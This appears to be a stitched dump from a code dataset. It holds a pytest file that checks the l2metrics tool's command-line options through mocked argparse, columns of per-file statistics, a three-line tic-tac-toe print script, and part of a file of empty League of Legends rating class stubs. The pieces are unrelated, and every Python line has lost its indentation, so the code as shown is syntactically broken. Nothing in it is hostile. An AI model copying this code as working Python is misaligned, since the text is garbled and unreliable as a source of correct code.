IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
"""
import argparse
from pathlib import Path
from unittest.mock import patch
import pytest
from l2metrics.__main__ import run
filepath = Path(__file__)
def test_invalid_log_dir():
# Test the default arguments except for log directory
args = argparse.Namespace()
args.log_dir = "does_not_exist"
args.perf_measure = "reward"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
with pytest.raises(FileNotFoundError):
run()
mock_args.assert_called
def test_invalid_perf_measure():
# Test the default arguments except for log directory
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "reward"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
with pytest.raises(KeyError):
run()
mock_args.assert_called
def test_store_single_ste():
# Test storing single STE run
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ste_logs" / "ste_task1_1_run1"
)
args.perf_measure = "reward"
args.recursive = False
args.ste_store_mode = "w"
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
def test_store_recursive_ste():
# Test storing single STE run
args = argparse.Namespace()
args.log_dir = filepath.parent.resolve() / ".." / "examples" / "ste_logs"
args.perf_measure = "reward"
args.recursive = True
args.ste_store_mode = "a"
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
def test_default_args():
# Test the default arguments except for log directory and performace measure
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
def test_recursive():
# Test the recursive mode for example log directory
args = argparse.Namespace()
args.log_dir = filepath.parent.resolve() / ".." / "examples"
args.perf_measure = "performance"
args.recursive = True
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("variant_mode", ["aware", "agnostic"])
def test_variant_mode(variant_mode):
# Test the different arguments for variant mode
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = variant_mode
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("ste_averaging_method", ["metrics", "time"])
def test_ste_averaging_method(ste_averaging_method):
# Test the different arguments for STE averaging method
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = ste_averaging_method
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("aggregation_method", ["mean", "median"])
def test_aggregation_method(aggregation_method):
# Test the different arguments for aggregation method
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = aggregation_method
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("maintenance_method", ["mrlep", "mrtlp", "both"])
def test_maintenance_method(maintenance_method):
# Test the different arguments for maintenance method
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = maintenance_method
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("transfer_method", ["ratio", "contrast", "both"])
def test_transfer_method(transfer_method):
# Test the different arguments for transfer method
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = transfer_method
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("normalization_method", ["task", "run", "none"])
def test_normalization_method(normalization_method):
# Test the different arguments for normalization method
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = normalization_method
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize(
"smoothing_method", ["flat", "hanning", "hamming", "bartlett", "blackman", "none"]
)
def test_smoothing_method(smoothing_method):
# Test the different arguments for smoothing method
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = smoothing_method
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("smooth_eval_data", [False, True])
def test_smooth_eval_data(smooth_eval_data):
# Test the different arguments for smooth_eval_data
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = smooth_eval_data
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("window_length", [None, 20])
def test_window_length(window_length):
# Test the different arguments for window length
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = window_length
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("clamp_outliers", [False, True])
def test_clamp_outliers(clamp_outliers):
# Test the different arguments for clamping outliers
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = clamp_outliers
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize(
"data_range_file",
[None, filepath.parent.resolve() / ".." / "examples" / "data_range.json"],
)
def test_data_range_file(data_range_file):
# Test the different arguments for data range file
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = data_range_file
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("noise", [[0, 0], [1, 1]])
def test_noise(noise):
# Test the different arguments for noise
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = noise
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
def test_output():
# Test output argument
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = "test_output"
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
assert (filepath.parent.resolve() / "results" / "test_output_metrics.json").exists
@pytest.mark.parametrize("unit", ["exp_num", "steps"])
def test_plotting_units(unit):
# Test the different arguments for plotting units
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = unit
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
if unit == "exp_num":
run()
elif unit == "steps":
with pytest.raises(KeyError):
run()
mock_args.assert_called
@pytest.mark.parametrize("show_eval_lines", [False, True])
def test_show_eval_lines(show_eval_lines):
# Test the different arguments for showing evaluation lines in plots
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = show_eval_lines
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("do_plot", [True, False])
def test_do_plot(do_plot):
# Test the different arguments for enabling/disabling plotting
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = do_plot
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("plot_type", ["all", "raw", "eb", "lb", "ste"])
def test_plot_types(plot_type):
# Test the different arguments for plot types
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = plot_type
args.do_save = True
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("do_save", ["all", "raw", "eb", "lb", "ste"])
def test_do_save(do_save):
# Test the different arguments for enabling/disabling save
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = do_save
args.load_settings = None
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize(
"load_settings",
[None, filepath.parent.resolve() / ".." / "examples" / "settings.json"],
)
def test_load_settings(load_settings):
# Test the different arguments for loading settings from JSON
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = load_settings
args.do_save_settings = True
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
@pytest.mark.parametrize("do_save_settings", [True, False])
def test_do_save_settings(do_save_settings):
# Test the different arguments for enabling/disabling save settings
args = argparse.Namespace()
args.log_dir = (
filepath.parent.resolve() / ".." / "examples" / "ll_logs" / "multi_task"
)
args.perf_measure = "performance"
args.recursive = False
args.ste_store_mode = None
args.variant_mode = "aware"
args.ste_averaging_method = "metrics"
args.aggregation_method = "mean"
args.maintenance_method = "mrlep"
args.transfer_method = "ratio"
args.normalization_method = "task"
args.smoothing_method = "flat"
args.smooth_eval_data = False
args.window_length = None
args.clamp_outliers = False
args.data_range_file = None
args.noise = [0, 0]
args.output_dir = filepath.parent.resolve() / "results"
args.output = None
args.unit = "exp_num"
args.show_eval_lines = False
args.do_plot = True
args.plot_types = "all"
args.do_save = True
args.load_settings = None
args.do_save_settings = do_save_settings
with patch("argparse.ArgumentParser.parse_args") as mock_args:
mock_args.return_value = args
run()
mock_args.assert_called
| 32.721295
| 87
| 0.684372
| 4,276
| 33,343
| 5.086062
| 0.054022
| 0.045613
| 0.052143
| 0.056281
| 0.884863
| 0.868678
| 0.845825
| 0.838238
| 0.829961
| 0.826375
| 0
| 0.002585
| 0.211019
| 33,343
| 1,018
| 88
| 32.753438
| 0.824077
| 0.072219
| 0
| 0.877666
| 0
| 0
| 0.116853
| 0.029383
| 0
| 0
| 0
| 0
| 0.029181
| 1
| 0.029181
| false
| 0
| 0.005612
| 0
| 0.034792
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f41be029a542b8398fc5a6f2c0da519a2d196034
| 45
|
py
|
Python
|
Problems/The result of a game in Tic-Tac-Toe/task.py
|
gabrielizalo/jetbrains-academy-zookeeper
|
467b43da3cb81f82987daf6b063eb2078d476d4f
|
[
"MIT"
] | 5
|
2020-08-29T15:15:31.000Z
|
2022-03-01T18:22:34.000Z
|
Problems/The result of a game in Tic-Tac-Toe/task.py
|
gabrielizalo/jetbrains-academy-zookeeper
|
467b43da3cb81f82987daf6b063eb2078d476d4f
|
[
"MIT"
] | null | null | null |
Problems/The result of a game in Tic-Tac-Toe/task.py
|
gabrielizalo/jetbrains-academy-zookeeper
|
467b43da3cb81f82987daf6b063eb2078d476d4f
|
[
"MIT"
] | 1
|
2020-09-20T11:48:16.000Z
|
2020-09-20T11:48:16.000Z
|
print("O X X")
print("O X O")
print("X O X")
| 11.25
| 14
| 0.533333
| 12
| 45
| 2
| 0.25
| 0.25
| 0.583333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 45
| 3
| 15
| 15
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
f425bf0c933a5ffc36768dfbdf21502b0fdcee05
| 6,131
|
py
|
Python
|
loldib/getratings/models/NA/na_jax/na_jax_mid.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_jax/na_jax_mid.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_jax/na_jax_mid.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
from getratings.models.ratings import Ratings
class NA_Jax_Mid_Aatrox(Ratings):
pass
class NA_Jax_Mid_Ahri(Ratings):
pass
class NA_Jax_Mid_Akali(Ratings):
pass
class NA_Jax_Mid_Alistar(Ratings):
pass
class NA_Jax_Mid_Amumu(Ratings):
pass
class NA_Jax_Mid_Anivia(Ratings):
pass
class NA_Jax_Mid_Annie(Ratings):
pass
class NA_Jax_Mid_Ashe(Ratings):
pass
class NA_Jax_Mid_AurelionSol(Ratings):
pass
class NA_Jax_Mid_Azir(Ratings):
pass
class NA_Jax_Mid_Bard(Ratings):
pass
class NA_Jax_Mid_Blitzcrank(Ratings):
pass
class NA_Jax_Mid_Brand(Ratings):
pass
class NA_Jax_Mid_Braum(Ratings):
pass
class NA_Jax_Mid_Caitlyn(Ratings):
pass
class NA_Jax_Mid_Camille(Ratings):
pass
class NA_Jax_Mid_Cassiopeia(Ratings):
pass
class NA_Jax_Mid_Chogath(Ratings):
pass
class NA_Jax_Mid_Corki(Ratings):
pass
class NA_Jax_Mid_Darius(Ratings):
pass
class NA_Jax_Mid_Diana(Ratings):
pass
class NA_Jax_Mid_Draven(Ratings):
pass
class NA_Jax_Mid_DrMundo(Ratings):
pass
class NA_Jax_Mid_Ekko(Ratings):
pass
class NA_Jax_Mid_Elise(Ratings):
pass
class NA_Jax_Mid_Evelynn(Ratings):
pass
class NA_Jax_Mid_Ezreal(Ratings):
pass
class NA_Jax_Mid_Fiddlesticks(Ratings):
pass
class NA_Jax_Mid_Fiora(Ratings):
pass
class NA_Jax_Mid_Fizz(Ratings):
pass
class NA_Jax_Mid_Galio(Ratings):
pass
class NA_Jax_Mid_Gangplank(Ratings):
pass
class NA_Jax_Mid_Garen(Ratings):
pass
class NA_Jax_Mid_Gnar(Ratings):
pass
class NA_Jax_Mid_Gragas(Ratings):
pass
class NA_Jax_Mid_Graves(Ratings):
pass
class NA_Jax_Mid_Hecarim(Ratings):
pass
class NA_Jax_Mid_Heimerdinger(Ratings):
pass
class NA_Jax_Mid_Illaoi(Ratings):
pass
class NA_Jax_Mid_Irelia(Ratings):
pass
class NA_Jax_Mid_Ivern(Ratings):
pass
class NA_Jax_Mid_Janna(Ratings):
pass
class NA_Jax_Mid_JarvanIV(Ratings):
pass
class NA_Jax_Mid_Jax(Ratings):
pass
class NA_Jax_Mid_Jayce(Ratings):
pass
